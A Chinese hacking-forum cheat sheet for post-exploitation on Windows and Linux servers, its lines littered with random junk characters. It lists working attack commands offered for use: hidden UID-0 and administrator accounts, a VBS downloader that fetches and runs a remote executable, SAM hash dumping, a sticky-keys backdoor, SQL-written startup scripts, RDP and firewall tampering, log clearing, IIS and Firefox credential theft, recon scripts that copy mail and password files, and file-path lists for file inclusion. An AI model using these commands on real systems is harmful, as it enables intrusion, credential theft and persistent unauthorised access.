5 e9 j, o0 s2 a% [# [* w七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
0 X2 j8 _( c4 C* J* ?  ^, `
八.freebsd本地提权
2 f5 ~) r  i; V6 j, v5 ]) ^[argp@julius ~]$ uname -rsi
8 f  \: F) o7 f7 O3 v9 f' D* freebsd 7.3-RELEASE GENERIC
1 v2 p/ o. l5 d" [6 G6 a* [argp@julius ~]$ sysctl vfs.usermount
0 k" ]; H0 G/ b5 o, ]2 g* vfs.usermount: 1
* [argp@julius ~]$ id
& p1 f* ^" q" B% a& i( O* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
$ T' z# Q, ~/ ?2 B4 G0 T4 P* [argp@julius ~]$ ./nfs_mount_ex
*
8 T8 r* F% Q, \: Kcalling nmount()
( E: {  h& @# v# v' o; C8 Z, E1 n* n
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
( I9 @- |' |$ b7 Z5 W. ?; x( ~+ S1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
+ [' m/ \$ }: i}  

提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
$ A9 [' H; j& z: Y3 ffor window：

@echo off
) x  c' T$ A. Q- n4 xecho #########system info collection
systeminfo
ver
' c, i4 }4 w6 x" @hostname
net user
: r4 D1 ]+ k7 e- gnet localgroup
# S2 J+ x8 b9 e5 G' ^; P/ tnet localgroup administrators
" @5 z2 d* T( E# ]net user guest
net user administrator

echo #######at- with   atq#####
echo schtask /query
; N) e6 l1 [& R; D/ A
echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
route print
arp -a
4 R( `! o# ~: o, w' Q! znetstat -anipconfig /displaydns
echo
echo #######service############
' G9 P5 _; U9 Wsc query type= service state= all
echo #######file-##############
cd \
tree -F
4 [- v9 R3 B6 Nfor linux：
8 h8 Y: P, I  U8 J
#!/bin/bash
: d4 U1 u* F* U% _/ a
0 p$ b. @, ]/ M2 aecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
* f  H) F; A5 b. L$ Gcat /proc/cpuinfo
0 I$ q- ~  K- ]" [' Necho
% x7 d# @) |4 i/ frpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

3 R' A, b( f3 j/ t, ]) }# {
echo 'u'r id is' `id`
echo ###atq&crontab#####
! _* a0 s8 \2 V; A+ q  Z% t! P: ^atq
crontab -l
echo #####about var#####
' ~: d9 p* C: K" Eset

. i- z- W0 j  _8 Zecho #####about network###
$ \7 O- m) @9 A" K/ F" T####this is then point in pentest,but i am a new bird,so u need to add some in it
. J: k' i; t5 v- T* P1 kcat /etc/hosts
hostname
ipconfig -a
arp -v
- t8 X) [; l' _3 U" [; H) gecho ########user####
cat /etc/passwd|grep -i sh
0 P7 c3 S* U  s  ^' l
echo ######service####
chkconfig --list
3 w4 v; c' N& v, X
7 p4 m, k" D/ vfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
: ~! v. f  f* J6 r5 i+ P/ G  Q. }done
( X. G7 j! B( H; E, x7 a
locate passwd >/tmp/password 2>/dev/null
sleep 5
0 q* t5 ]& V- r- O) blocate password >>/tmp/password 2>/dev/null
) {+ `( H$ D: g2 H% w* osleep 5
' r1 \6 j$ L+ C  Ilocate conf >/tmp/sysconfig 2>dev/null
& b5 G3 R* p1 j" D/ ssleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5

###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
5 P! \2 h1 O, H3 w7 A首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
! y0 p( ]5 O; z3 p接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
) x" _; l% O& ~4 ]hash 抓完了记得把自己的账户密码改过来哦！
7 G4 G8 v, w& X6 V/ {据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
8 c6 u+ W3 A5 S8 }+ m! s——————————————
7 {! u* v& A; ^' W/ F' V) d4、vbs 下载者
4 b% Z( u7 b/ K! _" \1
9 ^" {% `4 T7 }% |echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
; L/ B, ?6 J7 _: kecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
( ?% O. K1 B5 D) E* q" {echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
  s  O7 z/ \  E" o9 Necho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
+ b" N- m8 U' s+ o3 h  \8 wecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
" l: f& k- F2 W( U8 Wcftmon.vbs

2
, t. o. |9 \' s+ R# ?# xOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
2 \0 R( j  ?4 b  g' ~& _8 `s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

* M. T/ K5 W6 I; ~3 vcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

9 T' }" [; Z; Z1 @4 m: I- d当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
$ w/ L. l7 x% Q6 b" m* X" M8 T5、
9 C* I  U5 N- a7 {1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
1 U* ]9 k- Q, M- \) \REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
" }( A7 G; d/ V. w; x7 |  C* X3.更改终端端口为2008(0x7d8)
7 p3 ]# Q- l6 l: q! w/ s: s9 j( ?# _REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
: _0 H' ~0 n2 B/ YREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
$ r, m: G0 @& {" t+ }/ l4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
% _  T, f0 L, {3 y! I% `4 g/ B$ sREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
# Z$ N$ A6 G, R: z8 _- T————————————————
6、create table a (cmd text);
0 z- K% F  T- Y0 |& q% f3 Oinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
" E1 u5 G9 B9 p5 k" Dselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
/ P9 I4 ^2 \- O$ W. K: G————————————————————
; ^2 F/ C  K$ z. \& i! q& n+ c, _' b7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
2 J! t4 F) c5 h1 s/ C! e. M- o8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
/ P! u2 A9 G. p; e" ~/ }0 U1 _  
+ T8 h+ ?. n1 a( m8 l' p# d: |  for /d %i in (???) do @echo %i

: |  \1 H; `" H2 z4 z2 z& U" S  v把当前路径下文件夹的名字只有1-3个字母的打出来
7 c9 e) B1 G; x" B" K8 W+ M
2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
. ?6 A; I; n2 A+ h: W& E2 {! V
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
/ ~' d  X$ Q2 w; ]
' Y4 ~) \( C# U- W3.for /f %i in (c:\1.txt) do echo %i
  
/ c& r* k, P0 X5 l" c  C. k# Q, A8 g  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
  y1 X, c! O/ a, i+ K
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
" F/ ?" J" B% p6 Q$ C! \
7 B1 T! l6 s. T$ ]1 e  delims=后的空格是分隔符 tokens是取第几个位置
# s2 `& @' t6 W2 ^/ X$ @——————————
9 F5 Z) O( |) S5 K$ @0 d●注册表:
- \# F$ T: p9 M% e1 ~5 E1.Administrator注册表备份:
$ A' w5 M4 e! I" n$ g# f/ Zreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
# l# ]: i  D1 VHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
( Y6 e, c1 G1 M" r/ s, ^
% {# [- i) Q, S$ L  {3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
9 l! Q% C8 R9 ^0 greg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

; w6 I, d" W: M/ R2 i+ z8 j6.IPSec默认免除项88端口(需重启):
" C% ]- X5 z0 Xreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
' j/ k" H) L3 mnetsh ipsec dynamic set config ipsecexempt value=0
; y# T, s, R6 _: S* s0 {' t
7 p9 U8 M4 L: v6 H1 b7.停止指派策略"myipsec":
! g) X8 W5 n. e$ W/ |- T, [netsh ipsec static set policy name="myipsec" assign=n
' P' w9 e2 Y! T
2 [5 r& i+ t2 `/ U; e! L8.系统口令恢复LM加密:
! a# W  ~/ ]3 K8 Q6 Preg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
" z5 z. A' W1 f3 F) y# T6 n/ J) S- C- v3 {reg save hklm\security c:\security.hive
- G; c; S2 ^! y  k: ^8 l
/ ~2 }, H7 B) [" J  }* w& |10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
0 h+ s* X, r7 @! X/ l" f-----------------------------------
' I: s! A" @3 i7 a5 n2 u$ T3 _8 p星外vbs(注：测试通过，好东西）
4 D% Z$ s/ E, p# h6 HSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
- L6 u5 ^" A0 v* x% d( v5 DchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
6 ^  M5 y4 ?7 F- r. {( \' gif err.number<>0 then
exit for
msgbox("error!")
$ q/ z* O: p. {/ `% Lwscript.quit
/ z: o+ z/ g) [& i, U$ i5 G0 Z( Nend if
serverbindings=IIS.serverBindings
2 y; I. |* P8 n7 ]ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
+ a9 f9 A- `9 tuser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
: M4 i  `7 ^7 V# Hpath=IIsWeb.path
# Y# ^- U; A7 Ulist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
0 i' v7 [: b) f3 ^# hwscript.echo list
7 j) e' k- ^, f+ nSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
' R) p: w: y9 p4 l% [复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
, p4 F) Q6 n; x) `) Masp代码，利用的时候会出现登录问题
* G! d/ T# k- W, c. w7 q4 e5 }7 ]+ h 原因是ASP大马里有这样的代码：（没有就没事儿了）
. W" `" k- |& e# l4 b url=request.severvariables("url")
2 d6 K% b' Z8 `# E) J# y1 z 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
$ n7 v5 d5 P# G( l; M6 D, }1 z' J url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
: Z& ^$ n' B# W" V. [- u
==============================================================
2 J" ~$ T9 ^/ L) N' z- ~LINUX常见路径：

& v( s# k# L2 H: B) I3 a) R- j/etc/passwd
/etc/shadow
" S( z& P+ O: e- A- k: u' @0 |* G% ^/etc/fstab
5 Y9 x' S% E6 r1 L$ }/etc/host.conf
; Z5 m1 [6 F1 c* s1 X3 Q7 F/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
5 j1 v$ z- j6 J/var/www/conf/httpd.conf
; b8 O( W( \( r/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
" h. e1 R/ E; T/var/www/index.html
/var/www/index.php
. [' X! |1 F5 i3 V, R+ b/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
' c5 J  x7 w* e. d% {; N/opt/www/htdocs/index.html
# k! \: J0 ?0 ^. x8 c1 A/usr/local/apache/htdocs/index.html
9 x9 M. T& f! Z/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
7 m2 U4 b" z% i! D/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
: h( D  W8 [$ P6 {# U8 M/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
5 w  N. Q: C9 z! \& p, y9 T6 x/etc/httpd/conf/httpd.conf
( T  M& I, S/ ~/etc/httpd/htdocs/index.html
( M9 v8 b6 I- k$ n$ E+ I, S/www/php/php.ini
1 D2 G- l( l3 p5 C  T/www/php4/php.ini
/ \7 ~8 [( `  u8 K3 V/www/php5/php.ini
/www/conf/httpd.conf
3 E, R6 M' u/ q: J+ o, Y$ f/www/htdocs/index.php
& e+ a% t) V1 ?% t' \* B9 \/www/htdocs/index.html
4 r3 Z' M" x  i; y' s& G# \/usr/local/httpd/conf/httpd.conf
$ g- o6 d7 w, Q4 I/apache/apache/conf/httpd.conf
% }( S) y$ E& @/apache/apache2/conf/httpd.conf
/ K4 O* F. y" v8 s7 m" J' `# l+ y# T/etc/apache/apache.conf
/etc/apache2/apache.conf
, ^% Y4 j0 L7 v/etc/apache/httpd.conf
0 _  q$ s# Q2 _+ o3 \9 H/etc/apache2/httpd.conf
+ |: l5 V+ j) {7 |! |/ Y) D/etc/apache2/vhosts.d/00_default_vhost.conf
' _4 P- P- x9 A: c/ D# B. a/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
" y5 G/ j9 X$ {8 N" g! y) ?/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
5 _' A7 Z( G& y9 H" `/etc/httpd/conf.d/httpd.conf
3 j2 s9 j/ y- G/etc/httpd/logs/error_log
% [9 d- }, q1 C9 c- A# M9 [+ v. V/etc/httpd/logs/error.log
4 \) ?3 O, K: L: b/ E6 Y5 |/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
2 p6 s# i+ h" [  H' X) T/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
' \  C5 C1 U- n1 Z# b/ z/var/log/apache/access.log
8 o& }$ \( K0 o$ E3 t* E6 h9 e/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
% D" \/ C- v8 |% u- Q" v$ H7 }$ d/var/www/logs/error_log
% W% a1 _1 n3 O5 u3 i6 [' L/var/www/logs/error.log
: |8 s. b0 F" B0 j1 S/ Q/var/www/logs/access_log
/var/www/logs/access.log
# h* H; q7 `' S" i; ^* n/usr/local/apache/logs/error_log
. }0 D5 k" k5 F- n9 [  s& w/usr/local/apache/logs/error.log
% s: ]0 ^" ^! W) N/usr/local/apache/logs/access_log
' p6 O) w3 f6 ^) y  S/usr/local/apache/logs/access.log
! ?4 B5 Q9 Q6 S" w8 H( @- I/var/log/error_log
# b6 R# P7 O* z  w/var/log/error.log
/var/log/access_log
% x8 p/ `4 `9 m5 {9 k/var/log/access.log
1 Y$ ?) C. r' f: W/ ]6 o3 P/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
8 g* I  E: V( x9 T/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
4 L2 ?/ R4 _- X0 a/etc/init.d/mysql
/etc/httpd/php.ini
4 L8 y5 k, W7 k/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
) a5 z/ q% Q. s& H' V/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
6 c* S7 B% \) x3 @9 B( k: b* X7 g/usr/local/php4/lib/php.ini
" G0 B& K1 ?  L! f1 p' K/usr/local/php5/lib/php.ini
3 o3 V2 r4 a% y( G1 w& ~/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
6 S$ x9 @, j7 o9 h; x) \3 b/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
" N# D* H6 I0 |- B- o5 d/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
6 n0 J+ R; A& Y% {& y* T, D/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
$ Q; k! z5 K2 _9 ?2 i& ~3 a/web/conf/php.ini
0 Y4 q, e& D% j+ }% Z2 e/usr/local/Zend/etc/php.ini
7 w8 F7 ]' r( ]/opt/xampp/etc/php.ini
0 K9 d6 Y1 P- l  E0 O; R3 R' [/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
3 C+ C; m+ a' l! E/etc/php/cgi/php.ini
: E. T5 x1 z. i! K/etc/php4/cgi/php.ini
' a. u0 U* }& ]! U. l/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
4 M# X0 l5 h. v% D$ H4 F/php/php.ini
& `8 [) G  B  X& g/PHP/php.ini
% b! _1 \  j+ ^! w/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
8 Z& B& E2 W/ _! h/var/log/mysql.log
/var/log/mysqlderror.log
! ^( u- {' o: e; ]9 f: h. o/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
# t7 W) c% }! X1 U/var/mysql.log
/var/lib/mysql/my.cnf
9 P3 k) _* P% U, U) T/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
, B6 E6 q' Y7 S! k# u& k/etc/mysql/my.cnf
  u  ?  M/ b6 I7 q) t! R/etc/my.cnf
/usr/local/cpanel/logs
" W! R5 t) k5 V3 N/usr/local/cpanel/logs/stats_log
, h) d/ V- u# W/usr/local/cpanel/logs/access_log
; k: @8 p, G* ?, h  O' S/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
7 y& R: U8 j- {7 V/usr/local/share/examples/php/php.ini

) Y) v" Q! U; J& f: V$ W! n8 p* J2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

  S" ]8 |' ^4 e+ d, m* k, I: H6 Ec:\windows\php.ini
c:\boot.ini
* \9 t0 H% N  I3 Z# T2 y& Fc:\1.txt
) S' |. l# O3 n1 kc:\a.txt

8 A& `4 z4 P8 Y  oc:\CMailServer\config.ini
& |3 Y4 J. c+ s* ec:\CMailServer\CMailServer.exe
0 S+ s# A" h. G) w4 K8 `5 E: fc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
' e: m' e( n. j: g8 WC:\WINDOWS\FreeHost32.dll
1 O" q, g% M! m2 f; J- WC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
+ m) Q  `! m/ _: \
! b9 ^; l* h" T3 X- K5 I$ Uc:\hzhost\databases\url.asp
4 [* N( j+ J7 h- v8 u) m& }3 b. M
* B7 [+ g. n/ v  xc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

, j# B" `: t+ C7 [' `C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
: Q3 y2 K# m$ v6 [C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
; K  t, n, W# U! M7 d, Yc:\website\index.html
c:\web\index.asp
$ U! M# n' y1 r% z8 M0 A" |1 Qc:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
4 A3 S. Y9 g5 U: |c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
1 E2 x+ ~% U( M8 K; e! r0 y4 W& J3 \c:\web\default.html
c:\www\default.html
! t5 N% y; A/ [. [* x- Ec:\WWWROOT\default.html
3 r5 O. a- n7 u4 R; hc:\website\default.html
1 {3 ~6 J2 m4 C$ v3 ?9 hc:\web\default.asp
) P2 n5 a, u6 V$ k# u! k. zc:\www\default.asp
c:\wwwsite\default.asp
; N. H. A3 m& q- [3 w0 n6 mc:\WWWROOT\default.asp
; {7 F$ I7 I) A2 G1 w, f2 xc:\web\default.php
1 N( \0 E. [. C4 J4 Pc:\www\default.php
4 A( |" w0 y1 E7 S% N. tc:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
& [# u: t3 G& _* V7 s3 w; l* ^c:\windows\notepad.exe
: {6 n4 d9 n9 ?7 x. O3 \$ |" Vc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
# H- W" O5 o/ J% \8 a$ mC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
9 C9 }4 o# r$ p% C" aC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
3 V$ I+ P- s) H7 h/ `# K2 wC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
/ g- }) x1 p! T7 d2 YC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
! r2 D, f# `4 c) O- p/ C  {1 hc:\rising.ini
% U# |7 s8 |; d  m1 L2 H  OC:\Program Files\Rising\Rav\RsTask.xml
/ i) V- k1 ?- P9 T  S. \9 o" AC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
" g/ c4 x# J+ s2 _3 PC:\Documents and Settings\Administrator\Cookies\index.dat
: S4 N3 N7 O) \0 k& j" N( |# X4 n# YC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
1 }) A/ A& N3 a3 a+ D" ~C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
! M8 c# v+ h( g- i9 h6 ZC:\Documents and Settings\Administrator\My Documents\a.txt
5 T6 Z' ?4 I$ {+ wC:\Documents and Settings\Administrator\桌面\a.txt
$ \+ y3 {7 A/ mC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
) |) G8 U2 f6 }% x; A$ r1 G+ cE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
: m& K. `( X1 g0 P/ d2 q& |7 nC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
0 o, ]* B( y6 p- {C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
4 E$ ?+ n* R/ w. ?% XC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
0 P% X  e$ S4 F. h' d; ~& s# UC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
. ^) D6 ]% O) s9 @. @C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
3 V- c0 O+ m# R1 i. P/ CC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
8 n& \- \. \% A. ?C:\MySQL\MySQL Server 5.0\my.ini
9 Y6 t7 W1 d/ ?6 r- O! f% r* rC:\Program Files\MySQL\MySQL Server 5.0\my.ini
6 a9 l( E; |8 hC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
) P# b/ R; i  A- |$ KC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
# S. v: ]8 E$ a3 p4 i9 r/ fc:\MySQL\MySQL Server 4.1\bin\mysql.exe
0 s* R+ n! s. j$ Uc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
- T% v+ b6 d8 EC:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
2 H9 o; j' K. ]7 VC:\WINDOWS\system32\inetsrv\w3wp.exe
  p( T  y; b" u0 Q) U: i9 x7 oC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
1 ^1 ^& Y8 E7 n2 ~3 O0 DC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
3 O: ~6 {, d, n1 pC:\WINDOWS\system32\config\system
! a! @& x; s2 ]* D  Dc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
2 l6 ]5 \" ~/ D! F% g) Pc:\tomcat6\bin\version.sh
- J; u, d; T0 q, Tc:\tomcat\bin\version.sh
, K( }! l1 ?* [# Y8 i& uc:\program files\tomcat6\bin\version.sh
